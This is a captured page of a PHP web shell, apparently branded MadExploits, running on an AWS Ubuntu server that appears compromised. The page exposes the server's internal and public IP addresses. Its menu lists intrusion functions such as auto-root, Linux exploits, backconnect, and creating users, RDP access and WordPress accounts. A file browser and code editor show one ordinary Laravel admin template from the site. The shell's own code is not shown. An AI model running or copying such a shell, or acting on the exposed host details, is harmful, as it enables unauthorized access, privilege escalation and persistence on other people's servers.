Linux ip-172-31-33-47 5.4.0-1045-aws #47~18.04.1-Ubuntu SMP Tue Apr 13 15:58:14 UTC 2021 x86_64
Apache/2.4.29 (Ubuntu)
: 172.31.33.47 | : 18.188.148.202
Cant Read [ /etc/named.conf ]
7.4.20
www-data
www.github.com/MadExploits
Terminal
AUTO ROOT
Adminer
Backdoor Destroyer
Linux Exploit
Lock Shell
Lock File
Create User
CREATE RDP
PHP Mailer
BACKCONNECT
UNLOCK SHELL
HASH IDENTIFIER
CPANEL RESET
CREATE WP USER
README
+ Create Folder
+ Create File
/
var /
www /
html /
stage /
storage /
framework /
views /
[ HOME SHELL ]
Name
Size
Permission
Action
.gitignore
14
B
-rwxrwxr-x
005acb7d0cbae21fd16e945dd95658...
7.65
KB
-rw-r--r--
023ea4f8bf912c683d942d25c36795...
18.65
KB
-rw-r--r--
02e712bf56a3a9186e5acd0242e2c6...
13.34
KB
-rw-r--r--
07d66a7a5576c5d7d307524c2eb684...
5.86
KB
-rw-r--r--
1acaab507b7cc33c910fc97324080d...
322
B
-rw-r--r--
2e2679e70c67a907119186a077ae2e...
6.4
KB
-rw-r--r--
2e57272f452e43f58b934126d7f57b...
180
B
-rw-r--r--
2fb8ece6a4f982968f08ba317686f8...
156
B
-rw-r--r--
3ccc1cb89d278bb565358f998b1bab...
179
B
-rw-r--r--
40d36b68346f0e574eafd48697e596...
719
B
-rw-r--r--
422ae55fe2a7692c6a7b53ecb883cb...
5.98
KB
-rw-r--r--
4fdeb802560663a61ae92cfa4ac0de...
9.88
KB
-rwxrwxr-x
54f88584e2f679eaa8b260873067d3...
2.53
KB
-rw-r--r--
56405f04039bc5a5a07d7006684ae0...
1.98
KB
-rw-r--r--
654290133e68cd3b04bc74b82bc72d...
1.34
KB
-rw-r--r--
723bab2f348287236041891f378084...
5.35
KB
-rw-r--r--
795ff5da76351a134dd2273e8df022...
2.44
KB
-rw-r--r--
7a1777652607b8c97f12b4629fdd73...
155
B
-rw-r--r--
7fa5c0c8d4507da161a5fb3ca97c4c...
1.76
KB
-rw-r--r--
8362690ccea6efd9102ab7ed399866...
15.69
KB
-rwxrwxr-x
85868dd5edd348f809fdbae3329606...
13.2
KB
-rw-r--r--
a094570f1b6485c512ce8ba79d3f2a...
309
B
-rw-r--r--
a394c37f265ab90a427e194cd3955f...
16.6
KB
-rw-r--r--
a39c4e66f14f0888db23626bb2a68b...
2.13
KB
-rw-r--r--
a48b6cbacbf3fbce11e4479360af53...
13.26
KB
-rw-r--r--
acaf3d82efd67f924877c30c022804...
5.69
KB
-rw-r--r--
c1ca5354e2d6bb6a2b6abe58428e34...
429
B
-rw-r--r--
c5718edef6e73426fbe2ff80d73468...
663
B
-rw-r--r--
c84c3c5c6008e4c404cb64dc7b60ba...
10.48
KB
-rw-r--r--
d4192c11e21323c0e045e394a97366...
379
B
-rw-r--r--
d4bf5fa1986ae8ae2088b03cb2966b...
14.43
KB
-rw-r--r--
d7240a877194c60633d675848010aa...
8.23
KB
-rw-r--r--
dcf9ba91b8d1e773540333182b6872...
998
B
-rw-r--r--
de1d7ee884859283d04951b7f65aec...
16.01
KB
-rw-r--r--
f2f1195f45d0efd51b3a0955ea7c8c...
423
B
-rw-r--r--
f4b2ee329b4b057feae78eca6c7f21...
26.03
KB
-rw-r--r--
f6038d0e0231bf089ddd2095bf7961...
8.48
KB
-rw-r--r--
fb22e2f6bf16e543be0837f9cca04d...
3.28
KB
-rw-r--r--
googleda794cd9937527d01.html
43
B
-rw-r--r--
Delete
Unzip
Zip
${this.title}
Close
Code Editor : d4bf5fa1986ae8ae2088b03cb2966bbb099bc2ff.php
<?php $__env->startSection('content'); ?> <div class="row"> <?php if(isset($user)): ?> <div class="col-md-4"> <div class="card card-user"> <!-- <div class="image"> <img src="/admin-assets/img/damir-bosnjak.jpg" alt="..."> </div> --> <div class="card-body"> <div class="author" style="margin-top:0;"> <a href="#"> <!-- <img class="avatar border-gray" src="../assets/img/mike.jpg" alt="..."> --> <h5 class="title"><?php echo e($user['email']); ?></h5> </a> </div> </div> <div class="card-footer"> <hr> <div class="button-container"> <div class="row"> <div class="col-lg-3 col-md-6 col-6 ml-auto"> <h5><?php echo e($count); ?> <br> <small>Places</small> </h5> </div> <div class="col-lg-4 col-md-6 col-6 ml-auto mr-auto"> <h5><?php echo e($foodCount); ?> <br> <small>Food</small> </h5> </div> <!-- <div class="col-lg-3 mr-auto"> <h5>24,6$ <br> <small>Spent</small> </h5> </div> --> </div> </div> </div> </div> </div> <?php endif; ?> </div> <div class="row"> <div class="col-md-12"> <div class="card"> <div class="card-header"> <h4 class="card-title" style="display: flex; justify-content: space-between;"><span><?php echo e($title ?? 'Places'); ?></span> <small><a target="_blank" href="<?php echo e(route('admin_add_place')); ?>">Add</a></small></h4> <form action="<?php echo e(route($link)); ?>"> <div class="input-group no-border"> <input type="text" name="place" class="form-control" placeholder="Search..."> <div class="input-group-append"> <div class="input-group-text"> <button style="border: none; background: transparent; padding: 0; margin: 0; cursor: pointer;"><i class="nc-icon nc-zoom-split"></i></button> </div> </div> </div> <div class="form-group d-flex"> <select name="sort" class="form-control" style="width: 200px; margin-right: 10px"> <option value="">Sort By</option> <option value="place_name" <?php echo e($sort == 'place_name' ? 'selected' : ''); ?>>Name</option> <option value="food_count" <?php echo e($sort == 'food_count' ? 'selected' : ''); ?>>Food Count</option> <option value="image_count" <?php echo e($sort == 'image_count' ? 'selected' : ''); ?>>Image</option> </select> <select name="order" class="form-control" style="width: 200px; margin-right: 10px"> <option value="1" <?php echo e($order == 1 ? 'selected' : ''); ?>>ASC</option> <option value="-1" <?php echo e($order == -1 ? 'selected' : ''); ?>>DESC</option> </select> <button class="btn btn-primary" style="margin: 0">Sort</button> </div> </form> </div> <div class="card-body"> <div class="table-responsive"> <table class="table"> <thead class="text-primary"> <tr> <th>Name</th> <th>Address</th> <th>Phone 1</th> <th>Opening</th> <th>Closing</th> <th>Type</th> <th>Longitude</th> <th>Latitude</th> <th>Food Count</th> <th>Created</th> <th>Actions</th> </tr> </thead> <tbody> <?php if($places): ?> <?php $__currentLoopData = $places; $__env->addLoop($__currentLoopData); foreach($__currentLoopData as $place): $__env->incrementLoopIndices(); $loop = $__env->getLastLoop(); ?> <tr> <td> <a href="<?php echo e(route('places.show', ['place' => $place['slug']])); ?>"> <?php echo e(isset($place['name']) ? $place['name'] : ""); ?> </a> </td> <td><?php echo e(isset($place['address']) ? $place['address'] : ""); ?></td> <td><?php echo e(isset($place['phone']) ? $place['phone'] : ""); ?></td> <td><?php echo e(isset($place['opening']) ? $place['opening'] : ""); ?></td> <td><?php echo e(isset($place['closing']) ? $place['closing'] : ""); ?></td> <td><?php echo e(isset($place['type']) ? $place['type'] : ""); ?></td> <td><?php echo e(isset($place['location']) && isset($place['location']['coordinates']) ? $place['location']['coordinates'][0] : ""); ?></td> <td><?php echo e(isset($place['location']) && isset($place['location']['coordinates']) ? $place['location']['coordinates'][1] : ""); ?></td> <td> <?php echo e($place['food_count']); ?> </td> <td><?php echo e(isset($place['created']) ? $place['created'] : ""); ?></td> <td> <a href="<?php echo e(route('admin_edit_place', ['slug' => $place['slug']])); ?>" target="_blank">Edit</a> | <a href="<?php echo e(route('add_place_categories', ['slug' => $place['slug']])); ?>" target="_blank">Categories</a> | <a href="<?php echo e(route('admin_add_place_food', ['place_slug' => $place['slug']])); ?>" target="_blank">Add Food</a> <?php if(Auth::user() && Auth::user()->super): ?> | <a data-slug="<?php echo e($place['slug']); ?>" href="<?php echo e(route('delete_place', ['slug' => $place['slug']])); ?>" class="delete-one">Delete</a> <?php endif; ?> </td> </tr> <tr> <td colspan="10"> <?php if(isset($place['food'])): ?> <?php $__currentLoopData = $place['food']; $__env->addLoop($__currentLoopData); foreach($__currentLoopData as $food): $__env->incrementLoopIndices(); $loop = $__env->getLastLoop(); ?> <span class="badge badge-warning"> <?php echo e($food['name'] ?? ''); ?> - <?php echo e($food['price'] ?? ''); ?> <a href="/admin/food/delete/<?php echo e($food['_id']); ?>" class="delete-one" data-id="<?php echo e($food['_id']); ?>" data-name="<?php echo e($food['name'] ?? ''); ?>"> <i class="fa fa-times"></i> </a> </span> <?php endforeach; $__env->popLoop(); $loop = $__env->getLastLoop(); ?> <?php endif; ?> </td> </tr> <?php if(isset($place['tags'])): ?> <tr> <td colspan="10"> <?php $__currentLoopData = $place['tags']; $__env->addLoop($__currentLoopData); foreach($__currentLoopData as $tag): $__env->incrementLoopIndices(); $loop = $__env->getLastLoop(); ?> <span class="badge-primary" style="padding: 3px;"><?php echo e($tag); ?></span> <?php endforeach; $__env->popLoop(); $loop = $__env->getLastLoop(); ?> </td> </tr> <?php endif; ?> <?php if(isset($place['image'])): ?> <tr> <td colspan="10"> <div class="place-imgs" style="display: flex;"> <?php $__currentLoopData = $place['image']; $__env->addLoop($__currentLoopData); foreach($__currentLoopData as $i => $image): $__env->incrementLoopIndices(); $loop = $__env->getLastLoop(); ?> <div class="place-img"> <img src="<?php echo e($image); ?>" style="width: 200px; margin-right: 5px;" alt="Place image"> <div style="display: flex; justify-content: center; margin-top: 5px; font-size: 17px;"><a href="<?php echo e(route('delete_place_picture', ['slug' => $place['slug'], 'index' => $i])); ?>"><i class="fa fa-times"></i></a></div> </div> <?php endforeach; $__env->popLoop(); $loop = $__env->getLastLoop(); ?> </div> </td> </tr> <?php endif; ?> <?php endforeach; $__env->popLoop(); $loop = $__env->getLastLoop(); ?> <?php else: ?> <tr> <td colspan="10" class="text-center">No Places</td> </tr> <?php endif; ?> </tbody> </table> </div> </div> <div class="pagination" style="padding-left: 20px;"> <?php if($prev): ?> <a href="<?php echo e($prev); ?>" class="btn btn-primary btn-round">Previous</a> <?php endif; ?> <?php if($next): ?> <a href="<?php echo e($next); ?>" class="btn btn-primary btn-round">Next</a> <?php endif; ?> </div> </div> </div> </div> <?php $__env->stopSection(); ?> <?php $__env->startSection('scripts'); ?> <script> $('.delete-food').on('click', function(e){ e.preventDefault(); const $target = $(e.currentTarget); const _id = $target.data('id'); const name = $target.data('name'); var con = confirm('Are you sure you want to delete ' + name); if(con){ fetch(`/admin/food/delete/${_id}`, {credentials: 'same-origin'}) .then(response => response.json()) .then(result => { console.log(result) $target.closest('.badge').fadeOut(300, function(){ $(this).remove(); }) // if(result.status === 'success'){ // } }).catch(error => console.error(error)) }else { console.log('no') } }); // $(document).ready( function () { // $('.table').DataTable(); // } ); const deleteItem = (e) => { e.preventDefault() const $target = $(e.currentTarget); const headers = { 'X-CSRF-Token': $('meta[name="csrf-token"]').attr('value') } // const id = $target.data('id'); const link = $target.attr('href'); return fetch(link, {credentials: 'same-origin', method: 'DELETE', headers}) .then(response => { console.log(response) return response.json() }) .catch(error => console.error(error)) } $('.delete-one').on('click', function(e){ const $target = $(e.currentTarget); deleteItem(e).then(response => { const $row = $target.closest('tr') $row.fadeOut(); $row.next().fadeOut(); }).catch(error => console.error(error)) }); document.querySelectorAll('.place-img a').forEach(plimg => { plimg.addEventListener('click', function(e) { e.preventDefault(); let ans = confirm('Are you sure you want to delete this image'); if (ans) { const container = e.target.closest('.place-img'); deleteItem(e).then(res => { console.log(res) container.remove(); }) } }) }) $('.delete-picture').on('click', function(e){ const $target = $(e.currentTarget); deleteItem(e).then(response => { const $row = $target.closest('div') $row.fadeOut(); // $row.next().fadeOut(); }) }) </script> <?php $__env->stopSection(); ?> <?php echo $__env->make('layouts.admin', \Illuminate\Support\Arr::except(get_defined_vars(), ['__data', '__path']))->render(); ?><?php /**PATH /var/www/html/stage/resources/views/admin/user_places.blade.php ENDPATH**/ ?>
Close